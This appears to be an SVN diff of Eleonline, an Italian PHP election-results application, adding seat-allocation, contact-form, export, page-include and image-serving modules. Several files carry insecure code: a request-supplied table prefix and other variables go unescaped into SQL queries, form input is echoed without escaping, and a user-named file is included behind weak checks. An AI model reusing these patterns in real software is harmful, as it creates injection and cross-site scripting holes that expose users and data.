+#$res_val = mysql_query("SELECT sum(validi_lista) from ".$prefix."_ele_sezioni where id_cons='$id_cons'",$dbi); 
+$res_val = mysql_query("SELECT sum(voti) from ".$prefix."_ele_voti_lista where id_cons='$id_cons'",$dbi); 
+list($validi) = mysql_fetch_row($res_val);
+
+$sbarra=($validi*$supsbarramento)/100; 
+$res_per = mysql_query("SELECT t1.descrizione,t1.num_gruppo,t2.id_lista,t2.num_lista,t2.descrizione,sum(t3.voti) as voti from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_lista as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.id_lista=t3.id_lista group by t1.descrizione,t1.num_gruppo,t2.num_lista,t2.descrizione order by voti desc",$dbi);
+$groups=array();
+$premio=0;
+//10-05-2009 gestione differenziata delle norme elettorali
+#carica l'array dei gruppi e della cifra di gruppo
+while (list($descr,$num_gruppo,$id_lista,$num_lista,$descr_lista,$voti)= mysql_fetch_row($res_per)){
+ if ($listsupconta or $voti>=$sbarra){
+    if (! isset($groups[($num_gruppo)])) $groups[($num_gruppo)]=0;
+    $desgruppi[$num_gruppo]=$descr;
+    $desliste[$num_lista]=$num_lista.") ".$descr_lista;
+    $idlst[$num_lista]=$id_lista;
+    $listagruppo[$num_lista]=$num_gruppo;
+    $lists[$num_lista]=$voti;
+    $groups[($num_gruppo)]+=$voti;
+  }else $validi-=$voti;
+}    
+$descrsind=$desgruppi[$gruppo];
+foreach ($groups as $key=>$val){
+       #controlla se un gruppo di liste, tra quelle perdenti, ha superato il 50%
+    if ($key!=$gruppo and $val> $validi/2) $premio=2;
+    #elimina gruppi che non hanno superato lo sbarramento
+    if ($val<$sbarra){
+    	foreach ($listagruppo as $lst=>$grp)
+    		if ($grp==$key){
+    			unset($listagruppo[$lst]);
+    			unset($desliste[$lst]);
+    			unset($lists[$lst]);
+    		}    	
+    	unset($groups[($key)]);
+    	unset($desgruppi[($key)]);
+
+    }
+}
+
+    foreach ($collegate as $lst) 
+    	if (isset($lists[$lst])){
+    		 if($premio){
+    		 	$oldlstgrp[$lst]=$listagruppo[$lst];
+    		 	$oldlists[$lst]=$lists[$lst];
+    		 }
+    		 $groups[$listagruppo[$lst]]-=$lists[$lst];
+    		 $listagruppo[$lst]=$gruppo;
+    		 $groups[$gruppo]+=$lists[$lst];
+    	}
+ ////da qui    	
+
+    foreach ($collperd as $lst) 
+    	if (isset($lists[$lst])){
+    		$oldlstgrp[$lst]=$listagruppo[$lst];
+    		 $listagruppo[$lst]=$gruppoperd;
+    		 $oldlists[$lst]=$lists[$lst];
+    		 $groups[$gruppoperd]+=$lists[$lst];
+    		 $groups[$oldlstgrp[$lst]]-=$lists[$lst];
+    	}   
+
+////a qui va tolto se non vanno sommati i voti delle liste collegate al secondo turno con quelli del gruppo che perde il ballottaggio, se non si collegano viene favorita l'elezione del candidato sindaco con cui era collegata al primo turno mentre se si collegano viene favorito il principio di aggregazione. Per ora i perdenti sono considerati con la situazione al primo turno. Implementiamo cosï¿œ: il 50% deve essere superato dalla minoranza nel primo turno, quindo senza somma dei voti delle liste aggiunte nel secondo turno - la suddivisione dei seggi viene fatta considerando i collegamenti al secondo turno, le liste collegate partecipano alla suddivisione dei seggi con questo gruppo quindi si confronta con le liste del gruppo in cui era al primo turno e valutando i coefficienti si stabilisce quale lista cede il seggio al candidato sindaco non acceduto al ballottaggio.
+
+#controlla se la percentuale del gruppo vincente e' tra il 40 e il 60% o il sindaco e' eletto al secondo turno
+#e se nessun altro gruppo ha superato il 50% assegna il premio di maggioranza
+#e se nessun altro gruppo ha superato il 50% e nessuno ha ottenuto piu' del 60% dei seggi, assegna il premio di maggioranza
+
+$consmin=$numcons;
+$gruppomin=calcoloseggi($groups,$consmin,0);
+$nopremio=1;
+foreach ($gruppomin as $key=>$val) {if (($numcons*60/100)<$val) $nopremio=0;}
+#die("qui:".($numcons*60/100)."<$val");
+if (($groups[$gruppo]>=(($validi*$supminpremio)/100) or ! $primoturno) and $groups[$gruppo]<(($validi*$suppremio)/100) and !$premio and $nopremio) $premio=1;
+else $premio=0;
+	$consel=array();
+	$consel[]=array(_LISTA,_VOTI,_SEGGI,_CANDIDATO,_CIFRAELE,_QUOZIENTI);
+
+$candidati=array();
+if ($premio) {
+    $sindaco[$gruppo]=$groups[$gruppo]; $groups[$gruppo]=0;
+    $gruppomag=calcoloseggi($sindaco,number_format($numcons*$suppremio/100),0);
+#######calcola i seggi per lista
+foreach ($gruppomag as $key=>$val){
+	foreach($listagruppo as $lst=>$grp){
+		if($grp!=$key) continue;
+		$id_lista=$idlst[$lst];
+		$x=$lst;
+		$y=$lists[$x];
+		$pos=0;
+		$z=0;
+		$arvin[$x][$pos++]=$desliste[$lst]; 
+		$res_can = mysql_query("SELECT concat(substring(concat('0',t1.num_cand),-2),') ',t1.cognome,' ',substring(t1.nome from 1 for 1),'.') as descr,sum(t2.voti) as voti from ".$prefix."_ele_candidati as t1, ".$prefix."_ele_voti_candidati as t2 where t1.id_lista='$id_lista' and t1.id_cand=t2.id_cand GROUP BY descr order by voti desc,num_cand",$dbi);
+		$num_candlst[$x]=mysql_num_rows($res_can);
+		while(list($cand,$pre)=mysql_fetch_row($res_can)){ 
+			$cifra[$x][$pos]=$y+$pre;
+			$arvin[$x][$pos++]=$cand;
+		}	
+		$listemag[$x]=$y;
+		$desliste[$x]=$descr;
+		$percliste[$x]="<br/>$y (".number_format($y*100/$validi,2)."%)";
+		$z++;
+	}
+#foreach ($groups as $key=>$val)echo "           key: $key : val : $val<br/>";
+	$seggimag=array();
+	$seggimag=calcoloseggi($listemag,$val,1);
+	$x=0;
+	foreach ($seggimag as $key=>$val){
+		for ($z=0;$z<$val;$z++){
+			if ($z) $consel[]=array("","","",$arvin[$key][($z+1)],$cifra[$key][($z+1)],number_format($quozienti[$key][$z],2));
+			else
+			{
+			$consel[]=array($arvin[$key][0],$percliste[$key],$val,$arvin[$key][($z+1)],$cifra[$key][($z+1)],number_format($quozienti[$key][$z],2));
+			$arlisdesv[]=$arvin[$key][0];$arlissegv[]=$val;$arlisnumv[]=$key;
+			}
+		}
+	$x++;
+	if($val)
+	$consel[]=array($arvin[$key][0],"$PNE","",$arvin[$key][($z+1)],$cifra[$key][($z+1)],number_format($quozienti[$key][$z],2));
+	}
+}
+}
+if ($premio) $consmin=number_format($numcons*(100-$suppremio)/100);
+else $consmin=$numcons;
+#foreach($groups as $keyb=>$valb) echo "keyb:$keyb -- valb:$valb<br/>";
+
+#####calcolo per la minoranza o in caso non ci sia premio di maggioranza   
+$gruppomin=calcoloseggi($groups,$consmin,0);
+$ordinati[$gruppo]=$gruppomin[$gruppo];
+foreach ($gruppomin as $key=>$val){
+	if($key!=$gruppo) $ordinati[$key]=$val;
+}
+$gruppomin=$ordinati;
+foreach ($gruppomin as $key=>$val){
+		if($premio and $key==$gruppo) continue;
+	$listemin=array();
+	$cifra=array();
+	foreach($listagruppo as $lst=>$grp){
+		if($grp!=$key) continue;
+		
+		$id_lista=$idlst[$lst];
+		$x=$lst;
+		$y=$lists[$x];
+		$pos=0;
+		$z=0;
+		$pos=0;$z=0;
+		if(!$premio and $key==$gruppo) $arvin[$x][$pos++]=$desliste[$lst];
+		else $arper[$x][$pos++]=$desliste[$lst]; 
+		$res_can = mysql_query("SELECT concat(substring(concat('0',t1.num_cand),-2),') ',t1.cognome,' ',substring(t1.nome from 1 for 1),'.') as descr,sum(t2.voti) as voti from ".$prefix."_ele_candidati as t1, ".$prefix."_ele_voti_candidati as t2 where t1.id_lista='$id_lista' and t1.id_cand=t2.id_cand GROUP BY descr order by voti desc,num_cand",$dbi);
+		$num_candlst[$x]=mysql_num_rows($res_can);
+		while(list($cand,$pre)=mysql_fetch_row($res_can)) {
+			$cifra[$x][$pos]=$y+$pre;
+			if(!$premio and $key==$gruppo)
+			$arvin[$x][$pos++]=$cand;
+			else
+			$arper[$x][$pos++]=$cand;
+		}
+		$listemin[$x]=$y;
+		$desliste[$x]=$descr;
+		$percliste[$x]="<br/>$y (".number_format($y*100/$validi,2)."%)";
+	}
+	$seggimin=array();
+	echo "$mex";
+	$ultimo='';
+	$seggimin=calcoloseggi($listemin,$val,1);
+	echo "$mex";#foreach ($seggimin as $lista=>$valc) echo $seggimin[$lista]." key:$lista -val:$valc<br/>";
+	if(!$premio and $key==$gruppo)
+		foreach ($seggimin as $lista=>$valc) $arper[$lista]=$arvin[$lista];
+/*		for ($z=0;$z<$valc;$z++){
+			if ($z) $consel[]=array("","","",$arvin[$lista][($z+1)],$cifra[$lista][($z+1)],$quozienti[$lista][$z]);
+			else $consel[]=array($arvin[$lista][0],$percliste[$lista],$valc,$arvin[$lista][($z+1)],$cifra[$lista][($z+1)],$quozienti[$lista][$z]);
+		}
+	}
+		$consel[]=array($arvin[$lista][0],"$PNE","",$arvin[$lista][($z+1)],$cifra[$lista][($z+1)],$quozienti[$lista][$z]);
+	}//else{ 
+*/
+
+	if ($val and $key!=$gruppo and $consin) {$conselsin[]=array("$CSEC",$desgruppi[$key]); $arcansin[]=$desgruppi[$key];}
+foreach ($seggimin as $lista=>$val)
+	if(isset($oldlstgrp[$lista]) and !isset($oldseggi[$lista])) {$oldseggi[$lista]=$val;}
+		if($val==0){
+		if($ultimo==''){
+			foreach($oldlists as $lst=>$vot)
+			{		
+				if ($oldlstgrp[$lst]!= $key or $oldseggi[$lst]==0) continue;
+				if($ultimo=='') $ultimo=$lst;	
+				if($quozienti[$ultimo][($val-1)]==$last[$lst]) 
+				{
+						if($lists[$ultimo]==$lists[$lst]) $mex="Per attribuire l'ultimo seggio ï¿œ necessario un sorteggio tra la lista n. $ultimo e la lista n. $lst";
+	 					elseif($lists[$ultimo]>$lists[$lst]) {$ultimo=$lst;$mex="";}
+	 			}
+	 			if ($quozienti[$lista][($val-1)]> $last[$lst]) {$ultimo=$lst;$mex="";}
+			}$lst=$ultimo;
+		if($ultimo and $consin){
+#			if($conselb[$ttl[($lst-1)]][2]>1) $conselb[$ttl[($lst-1)]][2]--;else $conselb[$ttl[($lst-1)]][2]='';
+#			$daunset[]=$tt[($lst-1)];
+			if($conselb[$ttl[($lst)]][2]>1) $conselb[$ttl[($lst)]][2]--;else $conselb[$ttl[($lst)]][2]='';
+			$daunset[]=$tt[($lst)];
+			$conselsin[]=array("$CSEC",$desgruppi[$key]);
+			$arcansin[]=$desgruppi[$key];
+			}
+		}
+	}
+#if($key!=$gruppo){
+	foreach ($seggimin as $lista=>$val){
+		if($ultimo==$lista and $key!=$gruppo and $consin) $val--; 
+
+
+		for ($z=0;$z<$val;$z++){
+			if ($z) $conselb[]=array("","","",$arper[$lista][($z+1)],$cifra[$lista][($z+1)],number_format($quozienti[$lista][$z],2));
+			else{
+			if(!isset($arper[$lista][($z+1)])) $arper[$lista][($z+1)]=0;
+			if(!isset($cifra[$lista][($z+1)])) $cifra[$lista][($z+1)]=0;
+			$conselb[]=array($arper[$lista][0],$percliste[$lista],$val,$arper[$lista][($z+1)],$cifra[$lista][($z+1)],number_format($quozienti[$lista][$z],2));
+			$ttl[$lista]=(count($conselb)-1);
+			}
+		}
+	if (isset($oldlists[$lista]))
+	{
+		$tt[$lista]=(count($conselb)-1);
+		$last[$lista]=$quozienti[$lista][($z-1)];
+		
+	} 
+	if($val){
+		if(!isset($arper[$lista][($z+1)])) $arper[$lista][($z+1)]=0;
+		if(!isset($cifra[$lista][($z+1)])) $cifra[$lista][($z+1)]=0;
+		if(!isset($quozienti[$lista][$z])) $quozienti[$lista][$z]=0;
+		$conselb[]=array($arper[$lista][0],"$PNE","",$arper[$lista][($z+1)],$cifra[$lista][($z+1)],number_format($quozienti[$lista][$z],2)); 
+		}
+	}
+#	}//chiude if $key 
+	}//chiude foreach gruppomin
+#	}
+	echo "<table summary=\"Tabella dei consiglieri eletti\" class=\"table-docs\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" rules=\"all\">";
+	echo "<tr class=\"bggray\"><td scope=\"row\"><b>";
+	echo _SINDACO.": ".$desgruppi[$gruppo]."</b></td></tr></table>";
+	if(isset($daunset)){
+	if ((sort($daunset,SORT_NUMERIC))==false) echo "Errore di programma!";
+	ELSE { 
+		$tmpda=array_reverse($daunset); 
+		foreach($tmpda as $key=>$val) {
+			$conselb[$val][0]=$conselb[($val+1)][0];$conselb[$val][1]=$conselb[($val+1)][1];
+			unset($conselb[($val+1)]);
+			}
+		}
+	}#foreach($conselb as $key=>$val) if($val[2]) echo "$x) ".$val[0]."--".$val[2]."<br/>"; else echo "passa".$x++;
+	if (!$premio)
+	{
+		foreach($conselb as $key=>$val) 
+		{
+			if ($val[2]){
+				$nlst=intval($val[0]);
+				$arlisdesv[]=$val[0];
+				$arlissegv[]=$val[2];
+			}
+			if($listagruppo[$nlst]!=$gruppo) continue;
+			$consel[]=array($val[0],$val[1],$val[2],$val[3],$val[4],$val[5]);
+		}
+	}
+	
+	if (isset($conselsin)) foreach($conselsin as $key=>$val) 
+	{
+		$consel[]=array($val[0],$val[1]);
+	}
+	foreach($conselb as $key=>$val) 
+	{
+		if ($val[2]){
+			$nlst=intval($val[0]);
+			$arlisdesp[]=$val[0];
+			$arlissegp[]=$val[2];
+		}
+		if($listagruppo[$nlst]==$gruppo) continue;
+		$consel[]=array($val[0],$val[1],$val[2],$val[3],$val[4],$val[5]);
+	}
+//	plotgraf($descrsind,$arlisdesv,$arlissegv,$arlisdesp,$arlissegp,$arcansin); // per grafico
+	stampalista($consel);
+	unset($_SESSION['ballo1']);unset($_SESSION['ballo2']);unset($_SESSION['grp1']);unset($_SESSION['grp2']);
+}
+// Grafico
+function plotgraf($descrsind,$arlisdes,$arlisseg,$arlisdesp,$arlissegp,$arcansin){
+	//echo "sindaco: $descrsind<br/>";
+/*	foreach($arlisdes as $key=>$val){
+		echo "key:$key -- val:$val seggi:".$arlisseg[$key]."<br/>";
+	}	
+	echo "<br/><br/>";
+	foreach($arlisdesp as $key=>$val){
+		echo "key:$key -- val:$val seggi:".$arlissegp[$key]."<br/>";
+	}	*/
+	foreach($arlisdes as $key=>$val){
+		if($arlisseg[$key]=='1') $vocale="o"; else $vocale='';
+
+	$lista[]="$val \n [  ".$arlisseg[$key]." seggi".$vocale."  ]";  
+	$seggin[]=$arlisseg[$key]." seggi".$vocale."";
+	//echo "La lista $val ottiene ".$arlisseg[$key]." seggi.<br/>";
+	}
+	foreach($arcansin as $val) {
+	$seggin[]="1 seggio";
+	$arlisseg[]=1;
+	$lista[]=$val ."\n [ 1 seggio ]" ;
+    //echo "Il candidato sindaco $val e' eletto consigliere.<br/>";
+}
+$sindaco=urlencode($descrsind);
+
+$seggi=serialize($arlisseg);
+$seggi=urlencode($seggi);
+$seggin=serialize($seggin);
+$seggin=urlencode($seggin);
+$lista=serialize($lista);
+$lista=urlencode($lista);
+$title="Proiezione Composizione Consiglio Comunale";
+echo "<table><tr><td>
+		<img src='modules/Elezioni/grafici/consiglio.php?title=$title&amp;seggi=$seggi&amp;seggin=$seggin&amp;lista=$lista&amp;sindaco=$sindaco'  alt=\"Grafico\" /></td></tr></table>";
+
+
+
+}
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/contatti.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/contatti.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/contatti.php	(revision 44)
@@ -0,0 +1,83 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$ip = $_SERVER["REMOTE_ADDR"];
+global $adminmail;
+echo"<br/>";
+
+$form_block = "
+    <center><font class=\"title\"><b><br/>"._FEEDBACKTITLE."</b></font>
+    <br/><br/><font class=\"content\">"._FEEDBACKNOTE."</font>
+    </center>
+    <FORM METHOD=\"post\" ACTION=\"modules.php\">
+    <P><strong>"._YOURNAME.":</strong><br/>
+    <INPUT class=\"modulo\" type=\"text\" NAME=\"sender_name\" VALUE=\"$sender_name\" SIZE=30></p>
+    <P><strong>"._YOUREMAIL.":</strong><br/>
+    <INPUT class=\"modulo\" type=\"text\" NAME=\"sender_email\" VALUE=\"$sender_email\" SIZE=30></p>
+    <P><strong>"._MESSAGE.":</strong><br/>
+    <TEXTAREA class=\"modulo\" NAME=\"message\" COLS=70 ROWS=5 >$message</TEXTAREA></p>
+    <INPUT type=\"hidden\" name=\"opi\" value=\"ds\">
+    <INPUT type=\"hidden\" name=\"file\" value=\"index\">
+    <INPUT type=\"hidden\" name=\"op\" value=\"contatti\">
+    <INPUT type=\"hidden\" name=\"name\" value=\"Elezioni\">
+    <P><INPUT class=\"modulo-button\" TYPE=\"submit\" NAME=\"submit\" VALUE=\""._SEND."\"></p>
+    </FORM>
+";
+
+
+if ($opi != "ds") {
+    echo "$form_block";
+} elseif ($opi == "ds") {
+    if ($sender_name == "") {
+	$name_err = "<font class=\"message\"><i>"._FBENTERNAME."</i></font><br/><br/>";
+	$send = "no";
+    } 
+    if ($sender_email == "") {
+	$email_err = "<font class=\"message\"><i>"._FBENTEREMAIL."</i></font><br/><br/>";
+	$send = "no";
+    } 
+    if ($message == "") {
+    	$message_err = "<font class=\"message\"><i>"._FBENTERMESSAGE."</i></font><br/>";
+	$send = "no";
+    } 
+    if ($send != "no") {
+    
+	$sender_name = strtr($sender_name, "\015\012", ' ');
+	
+	$sender_email = strtr($sender_email, "\015\012", ' ');
+	$msg = "$sitename\n\n";
+	$msg .= ""._SENDERNAME.": $sender_name\n";
+	$msg .= ""._SENDEREMAIL.": $sender_email\n";
+	$msg .= "IP: $ip\n";
+	$msg .= "<br/>"._MESSAGE.": $message\n\n";
+	$to = $adminmail;
+	$mailheaders = "From: $sender_name <$sender_email>\n";
+	$mailheaders .= "Reply-To: $sender_email\n\n";
+	mail($to, $subject, $msg, $mailheaders);
+	echo "<P><center>"._FBMAILSENT."</center></p>";
+	echo "<P><center>"._FBTHANKSFORCONTACT."</center></p>";
+    } elseif ($send == "no") {
+	
+	echo "$name_err";
+	echo "$email_err";
+	echo "$message_err";
+	
+	echo "<br/><br/>";
+	echo "$form_block";  
+    } 
+}
+
+  
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/crea_pagina.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/crea_pagina.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/crea_pagina.php	(revision 44)
@@ -0,0 +1,284 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+//testa_riga[contenuto in posizione 0][y]
+//testa_colonna[x][contenuto in posizione 0]
+//corpo[da 1 a x][da 1 a y]
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+
+function crea_tabella($ar) {
+
+
+global $prefix,$dbi,$pdf,$csv,$xls,$lang,$descr_cons,$prefix,$dbi,$id_comune,$descrizione,$siteistat,$pagina,$min,$offset,$minsez,$offsetsez,$datipdf;
+$res = mysql_query("SELECT descrizione FROM ".$prefix."_ele_comuni where id_comune='$id_comune' ", $dbi);
+	list($descr_com) = mysql_fetch_row($res);
+
+$datipdf=stripslashes($datipdf);
+$data=date("d-m-y G:i");
+
+if ($xls==1) {
+	
+	$nomefile="export.xls";
+	header ("Content-Type: application/vnd.ms-excel");
+	header ("Content-Disposition: inline; filename=$nomefile");
+
+$datipdf=str_replace("<br/>","\n",$datipdf);
+
+$datipdf=strip_tags($datipdf);
+			$cella=str_replace("</b>"," ",$cella);
+			$cella=str_replace("<br />"," ",$cella);
+
+echo "$datipdf";
+
+	$y=1;$i='';$e='';
+		foreach ($ar as $riga) {
+		$e++;
+                        if($y) {
+				echo "\n";
+			}else{
+				
+				echo "\n";
+				
+			}
+
+			
+			foreach ($riga as $cella) {
+			$cella=str_replace("<b>"," ",$cella);
+			$cella=str_replace("</b>"," ",$cella);
+			$cella=str_replace("<br />"," ",$cella);
+			$cella=str_replace("<span class=\"red\"><i>"," - ",$cella);
+			$cella=str_replace("</span>%</i>","%",$cella);
+			$cella=str_replace("_CIRCOS","Circoscrizione ",$cella);
+			$cella=str_replace("_SEZIONI","Sezione ",$cella);
+			$cella=str_replace("_TOT","Totale",$cella);
+			$cella=str_replace("_COMPLESSIVO","Complessivo",$cella);
+			 			
+				echo "$cella \t";
+					
+				
+			}
+			if ($y) $y=0;
+			
+		}
+
+	    echo"\n\n\nPowered by Eleonline http://www.eleonline.it \t \n";	
+	    echo"by l.apolito & r.gigli - stampato: $data \t \n";
+	    die();
+
+}else{
+
+  
+
+	$bg='bgw';
+	
+	$tmpbg='bggray2'; 
+	$tmpbg1='bgw';
+	$tmpbg2='bggray';
+	$tmpbg3='bggray2';
+	
+	$html ='';
+	if ($pdf!="1" && $csv=="1")
+	{
+	
+	$html .="<table style=\"margin: auto;\" cellspace=0 border=0 cellpadding=0><tr><td border=0>
+		<img src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_comune=".$id_comune."\" align=\"left\" alt=\"logo\" /></td> ";
+	$html .= "<td border=0>$datipdf</td></tr></table><br/><br/>";
+        }
+
+
+	
+	$html .= "<table class=\"table-docs\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" rules=\"all\">";
+	
+
+
+
+		$y=1;$i='';$e='';
+		foreach ($ar as $riga) {
+		$e++;
+			if($y) {
+				$html .= "<tr class=\"bggray\">";
+			}else{
+				$bg= ($bg==$tmpbg) ? $tmpbg1:$tmpbg3;				  
+				$html .= "<tr class=\"$bg\">";
+				$i="class=\"td-130c\"";
+			}
+			foreach ($riga as $cella) {
+
+			$cella=str_replace("_CIRCOS","Circoscrizione ",$cella);
+			$cella=str_replace("_SEZIONI","Sezione ",$cella);
+			$cella=str_replace("_TOT","Totale",$cella);
+			$cella=str_replace("_COMPLESSIVO","",$cella);
+
+			 if ($e==1){ 
+				$t="<td";$f="</td>";
+			}else{ 
+				$t="<td";$f="</td>";	
+			}					
+				$html .= "$t $i>$cella $f";
+					$i='';
+				
+			}
+			if ($y) $y=0;
+			$html .= "</tr>";
+		}
+		$html .= "</table>";
+
+
+		if ($pdf!="1" && $csv=="1"){
+		      $html .="<br/><span class=\"copy\"><i>Stampato: $data</i></span>";
+		      $html .="<br/><span class=\"copy\"><i>Eleonline by l. apolito & r. gigli - www.eleonline.it</i></span>";
+		      $html .="</td></tr></table>";
+		}
+
+	    # inizio stampa a video o pdf
+
+
+		if ($pdf!='1'){
+		  echo $html;
+	        }else{
+
+	      #pdf
+	      /*
+	      require('inc/pdf/html2fpdf.php');
+	      //Istanzio la classe
+	      $fpdf=new HTML2FPDF('L','mm','A4');
+
+	      //Creo la pagina
+	      $fpdf->AddPage();
+
+	      //Per leggere il file html usare fread
+	      $content = "<b>Testo in neretto</b>";
+	      $fpdf->Image('modules/Elezioni/images/logo.jpg',10,10,10,0,'','http://www.eleonline.it');
+	      //Scrivo l'html nel file pdf
+	      $fpdf->WriteHTML($html);
+	      //Scrivo il file sample.pdf
+	      $fpdf->Output();
+
+	      //include("modules/Elezioni/printpdf.php");
+	      //PrintPage($html);
+	      */
+$style ="     
+<style type=\"text/css\">
+<!--
+.table-docs {
+	font-size: 10px;
+	padding: 1px;
+	color: #000000;
+	/* margin: 4px 4px 40px;*/
+	border: solid  #666666;
+	text-align:center;
+}
+.bggray 	{
+	background: #d2d2d2; 
+	FONT-SIZE: 13px; 
+	FONT-FAMILY: Helvetica;
+	border: 1px;
+}
+
+.bggray2 	{
+	background: #EFEFEF; 
+	FONT-SIZE: 13px; 
+	FONT-FAMILY: Helvetica;
+	border: 1px;
+	}
+
+bggray3 	{
+	background: #EFEFEF; 
+	FONT-SIZE: 10px; 
+	FONT-FAMILY:  Helvetica;
+	text-align: left
+	}
+
+.bgw	{
+	background: #ffffff; 
+	FONT-SIZE: 13px; 
+	FONT-FAMILY: Helvetica;
+	border: 1px;
+	
+}
+.td-130 {
+	float: right;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+	
+}
+.td-130c {
+	float: right;
+	text-align:left;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	padding: 0px;
+}		
+
+td {
+    border: .2px;
+}
+.red 	{
+	BACKGROUND: none; 
+	COLOR: #ff0000; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY:  Helvetica
+}
+.copy 	{
+	background: #d2d2d2; 
+	FONT-SIZE: 8px; 
+	FONT-FAMILY: Helvetica;
+	border: 1px;
+}
+.cen {
+margin: 10px auto 0 auto; 
+}
+-->
+</style>";
+
+
+
+
+
+
+
+	$style .="<table style=\"margin: auto;\" cellspace=0 border=0 cellpadding=0><tr><td border=0><img src=\"modules/Elezioni/images/logo.gif\" align=\"left\" /></td> ";	
+	
+	$style .= "<td border=0>$datipdf</td></tr></table><br/><br/>";
+        $style .= "<table style=\"margin: auto;\" cellspace=0 border=0 cellpadding=0><tr><td border=0>";
+
+	$style .=$html;
+	$data=date("d-m-y G:i");
+	$style .="<br/><span class=\"copy\"><i>Stampato il $data</i></span>";
+	$style .="<br/><span class=\"copy\"><i>Eleonline by lucianoapolito & roberto gigli - www.eleonline.it</i></span>";
+	$style .="</td></tr></table>";
+	// conversion HTML => PDF
+	require_once('inc/hpdf/html2pdf.class.php');
+	$html2pdf = new HTML2PDF('L','A4', 'it');
+	$html2pdf->WriteHTML($style, isset($_GET['vuehtml']));
+	$html2pdf->Output();
+
+
+
+	      }
+
+	
+
+
+   }
+}
+
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/evvai.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/evvai.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/evvai.php	(revision 44)
@@ -0,0 +1,41 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+if (!isset($filename)) {  Header("Location: index.php"); }
+$blocco=0;
+include("header.php");
+$filename="$filename.html";
+
+// verifica se la pagina e' un html
+	if(substr($filename,-4)!=".htm" && substr($filename,-5)!=".html"){
+		echo "Autorizzazione negata...";
+		echo "<hr>"._GOBACK."";
+	
+	}else {
+		// verifica link pagine esterne e risalita path
+	
+	if( substr($filename,0,1)!="." && substr($filename,0,4)!="http" ){
+  		//echo substr($file,-4);
+		include ("pagine/$filename");
+		echo "<hr>"._GOBACK."";
+  		
+	}
+	else {
+		echo "Autorizzazione negata...";
+		echo "<hr>"._GOBACK."";
+		
+	}
+}
+
+CloseTable();
+include("footer.php");
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/foto.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/foto.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/foto.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file dirrectly...");
+}
+
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+
+if (isset($param['id_lista'])) $id_lista=intval($param['id_lista']); else $id_lista='';
+if (isset($param['id_gruppo'])) $id_gruppo=intval($param['id_gruppo']); else $id_gruppo='';
+if (isset($param['id_sede'])) $id_sede=intval($param['id_sede']); else $id_sede='';
+if (isset($param['id_comune'])) $id_comune=intval($param['id_comune']); else $id_comune='';
+if (isset($param['prefix'])) $prefix=$param['prefix'];
+
+
+if ($id_lista){
+	$sql = "select * from ".$prefix."_ele_lista where id_lista=".$id_lista;
+	$res = mysql_query($sql,$dbi);
+	$dati = mysql_fetch_array($res);
+	$stemma = $dati['stemma'];
+}elseif ($id_gruppo){
+	$sql = "select * from ".$prefix."_ele_gruppo where id_gruppo=".$id_gruppo;
+	$res = mysql_query($sql,$dbi);
+	$dati = mysql_fetch_array($res);
+	$stemma = $dati['stemma'];
+}elseif ($id_sede){
+	$sql = "select * from ".$prefix."_ele_sede where id_sede=".$id_sede;
+	$res = mysql_query($sql,$dbi);
+	$dati = mysql_fetch_array($res);
+	$stemma = $dati['mappa'];
+}elseif ($id_comune){
+	$sql = "select * from ".$prefix."_ele_comuni where id_comune=".$id_comune;
+	$res = mysql_query($sql,$dbi);
+	$dati = mysql_fetch_array($res);
+	$stemma = $dati['stemma']; #die("qui:  $sql  $stemma");
+}else{
+die();
+}
+
+
+// nessuno stemma immagine vuota
+if ($stemma=="" && is_readable('modules/Elezioni/images/vuoto.jpg')){
+	$stemma =  fread( fopen( 'modules/Elezioni/images/vuoto.jpg', 'r' ), filesize( 'modules/Elezioni/images/vuoto.jpg' ) );}
+echo $stemma;
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/funzioni.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/funzioni.php	(revision 44)
